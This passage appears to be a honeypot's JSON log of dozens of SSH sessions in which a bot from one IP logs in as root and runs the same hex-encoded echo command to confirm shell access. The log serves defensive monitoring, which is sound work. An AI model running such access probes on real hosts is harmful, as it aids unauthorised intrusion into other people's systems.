  "id": "cfad1314-bee9-4e98-8095-ef70617755b8",
  "name": "grassy-glassy-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57114,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:51.666257+00:00",
  "ended_at": "2026-08-23T09:31:52.888000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1182938a-f1f2-42b5-9e21-3e7f84604276",
  "name": "leafy-whispering-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:48.891746+00:00",
  "ended_at": "2026-08-23T09:31:50.840140+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eacad1dc-92a6-4a64-ae44-d332a19ead97",
  "name": "canny-sunlit-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51600,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:46.947086+00:00",
  "ended_at": "2026-08-23T09:31:48.192908+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8e8ee2ee-9878-42d1-9f97-a6e0bceca77b",
  "name": "stormy-graceful-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51590,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:44.016465+00:00",
  "ended_at": "2026-08-23T09:31:46.170900+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8f178475-826a-43fe-925d-f45f3091fdcb",
  "name": "prairie-tawny-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51576,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:41.317542+00:00",
  "ended_at": "2026-08-23T09:31:43.267040+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "534231dc-26af-4158-9f43-b62772b558d1",
  "name": "nimble-cosmic-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:39.385726+00:00",
  "ended_at": "2026-08-23T09:31:40.659395+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4d80ca5a-7b5e-49e8-ae98-2b940ddaebd6",
  "name": "somber-placid-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:37.267611+00:00",
  "ended_at": "2026-08-23T09:31:38.567618+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0bd7cd45-0fa6-48c9-a6cb-3166d25a60fe",
  "name": "blunt-tangled-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58510,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:35.279403+00:00",
  "ended_at": "2026-08-23T09:31:36.558125+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e4fb13e5-01ea-4e7d-adba-35cb87b9893f",
  "name": "airy-pleasant-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58504,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:32.277320+00:00",
  "ended_at": "2026-08-23T09:31:34.558093+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e2c61c95-220a-4887-8077-6f17229aad66",
  "name": "civil-smooth-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58488,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:29.766478+00:00",
  "ended_at": "2026-08-23T09:31:31.490197+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "64aaa115-a09a-41da-b609-735ad33105e6",
  "name": "prickly-umber-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48982,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:27.056074+00:00",
  "ended_at": "2026-08-23T09:31:28.950062+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "64213302-a384-4b1f-801f-05838ea22a6c",
  "name": "drifting-prairie-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48976,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:24.834231+00:00",
  "ended_at": "2026-08-23T09:31:26.371137+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2f6bef20-1e2b-480c-8286-ec338aad081f",
  "name": "daring-jolly-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48962,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:21.995417+00:00",
  "ended_at": "2026-08-23T09:31:24.002248+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b96e033d-d598-463a-a3d3-806b41d2c563",
  "name": "gilded-amber-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:20.166970+00:00",
  "ended_at": "2026-08-23T09:31:21.370026+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b0bbf990-be7f-4721-a255-6855c74fe4fc",
  "name": "tawny-fleeting-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:17.589637+00:00",
  "ended_at": "2026-08-23T09:31:19.475251+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dc993f30-e604-4041-944d-e99a602e4cb2",
  "name": "supple-ashen-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40996,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:14.870662+00:00",
  "ended_at": "2026-08-23T09:31:16.921858+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "660baad1-0292-416e-9acc-9ed9f61e5ac2",
  "name": "grumpy-fierce-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:12.735036+00:00",
  "ended_at": "2026-08-23T09:31:14.058489+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3d2b371b-e57a-453a-ac46-4af095651dcb",
  "name": "earnest-cheerful-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40980,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:10.545453+00:00",
  "ended_at": "2026-08-23T09:31:12.081203+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "26e7d4ee-b136-42f1-944c-c0b00819462c",
  "name": "shifting-regal-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58686,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:06.381197+00:00",
  "ended_at": "2026-08-23T09:31:09.795186+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b4e4f9b2-0a8e-4ab3-89b4-b80d1595872c",
  "name": "electric-brave-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:04.220538+00:00",
  "ended_at": "2026-08-23T09:31:05.605144+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c96bfd36-46ba-494e-9cf0-a084b709445a",
  "name": "stoic-keen-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:02.229447+00:00",
  "ended_at": "2026-08-23T09:31:03.548156+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "69a94b9e-60cc-4e67-b525-4b839df59ba5",
  "name": "tangled-vigilant-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58658,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:31:00.543744+00:00",
  "ended_at": "2026-08-23T09:31:01.544348+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f3d907f8-afc3-436f-99b1-f3021487649a",
  "name": "fleeting-airy-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54054,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:58.057017+00:00",
  "ended_at": "2026-08-23T09:30:59.767329+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aa3e9cea-0839-44d5-b46c-87d5f74b7a07",
  "name": "earnest-tender-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54052,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:55.851467+00:00",
  "ended_at": "2026-08-23T09:30:57.400232+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d9975cba-1d34-4ac9-9a5d-e58dd6039d08",
  "name": "forlorn-creaky-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:54.121482+00:00",
  "ended_at": "2026-08-23T09:30:55.101904+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8149dd48-dc75-4f6f-8546-b538ad646064",
  "name": "early-fleeting-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54032,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:51.131466+00:00",
  "ended_at": "2026-08-23T09:30:53.320938+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "43875b5a-c28e-4b2c-9f44-1ee5171f6b62",
  "name": "mighty-civil-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54020,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:49.146487+00:00",
  "ended_at": "2026-08-23T09:30:50.356953+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28ba7ec9-4dcd-44a5-9622-0b3507d4d0d7",
  "name": "plush-velvet-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35616,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:47.126063+00:00",
  "ended_at": "2026-08-23T09:30:48.325058+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a609f9fa-f5b4-45b9-910a-1453ad883669",
  "name": "sterling-thrifty-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:44.307403+00:00",
  "ended_at": "2026-08-23T09:30:46.415357+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "59d03924-27f3-4e35-b494-2f60390b87cd",
  "name": "frugal-forlorn-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35596,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:42.620497+00:00",
  "ended_at": "2026-08-23T09:30:43.510100+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "97aa73f9-539c-420c-b05f-8cb618afc1c9",
  "name": "merry-smoky-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35588,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:40.180909+00:00",
  "ended_at": "2026-08-23T09:30:41.755113+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9f546fd3-14d0-4609-acfc-63c982a74ad4",
  "name": "murky-vaulted-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33722,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:37.530168+00:00",
  "ended_at": "2026-08-23T09:30:39.365256+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b41c7ad2-f60a-4cec-be67-87f6abb0f39f",
  "name": "ivory-cheerful-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33710,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:34.676000+00:00",
  "ended_at": "2026-08-23T09:30:36.812228+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8bf92223-7ccd-43b4-953a-da543285f80a",
  "name": "tranquil-painted-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:32.053128+00:00",
  "ended_at": "2026-08-23T09:30:34.004081+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7e7f3718-6136-4e49-823a-285ce0719ac2",
  "name": "distant-vaulted-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:29.144772+00:00",
  "ended_at": "2026-08-23T09:30:31.325288+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d845d336-0115-44f1-a7cd-86c5940c2049",
  "name": "graceful-shaded-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46430,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:26.247323+00:00",
  "ended_at": "2026-08-23T09:30:28.500481+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf6ad2d5-a33a-4149-bde7-50fe439f6721",
  "name": "forlorn-chilly-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:23.779274+00:00",
  "ended_at": "2026-08-23T09:30:25.532824+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "be85c749-2cdf-430c-8941-7b4d179411bf",
  "name": "oaken-barren-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46412,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:21.105184+00:00",
  "ended_at": "2026-08-23T09:30:23.088390+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dd2f101e-57d2-4b0a-b630-9a182039fcc3",
  "name": "ivory-watchful-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51414,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:16.979188+00:00",
  "ended_at": "2026-08-23T09:30:20.338006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e2315d7c-6437-410e-81b2-29f84ca7784c",
  "name": "meadow-solemn-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51406,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:14.890241+00:00",
  "ended_at": "2026-08-23T09:30:16.168161+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0372d759-f3c8-4d5d-9a6e-f9f06246ac8f",
  "name": "spirited-boreal-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51398,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:12.757406+00:00",
  "ended_at": "2026-08-23T09:30:14.059169+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ab1ccecc-0fb5-47c5-89b8-f172d0abd8ad",
  "name": "lucid-freckled-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51396,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:10.373509+00:00",
  "ended_at": "2026-08-23T09:30:12.099843+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3870cb57-830d-49b9-aa51-dddc6f26ce7a",
  "name": "jolly-keen-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49300,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:07.574575+00:00",
  "ended_at": "2026-08-23T09:30:09.675095+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1094f627-14b0-46be-9140-bf0627362398",
  "name": "cunning-spirited-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49284,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:05.388968+00:00",
  "ended_at": "2026-08-23T09:30:06.732380+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eef2dcf8-c74b-4d9b-98d1-e8c2a259a5b5",
  "name": "patient-coral-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49272,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:03.586241+00:00",
  "ended_at": "2026-08-23T09:30:04.743045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e8b0885b-e0a2-4115-b029-cbf7c6d66d37",
  "name": "sunlit-brave-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49256,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:30:01.072590+00:00",
  "ended_at": "2026-08-23T09:30:02.837101+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8364baac-9d17-408e-8b28-7214f307ae40",
  "name": "nameless-subtle-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49242,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:58.855819+00:00",
  "ended_at": "2026-08-23T09:30:00.251243+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0184fa19-3d0d-4283-957b-68a519ca9b19",
  "name": "ruddy-burly-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50350,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:56.335502+00:00",
  "ended_at": "2026-08-23T09:29:58.109307+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "db3919ae-beb3-407b-bd56-359cda22a1ed",
  "name": "lively-marbled-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50346,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:53.877737+00:00",
  "ended_at": "2026-08-23T09:29:55.491565+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ae76604d-9aa1-4d0d-8afb-201dbfba5292",
  "name": "polar-ancient-vulture",
  "protocol": "ssh",
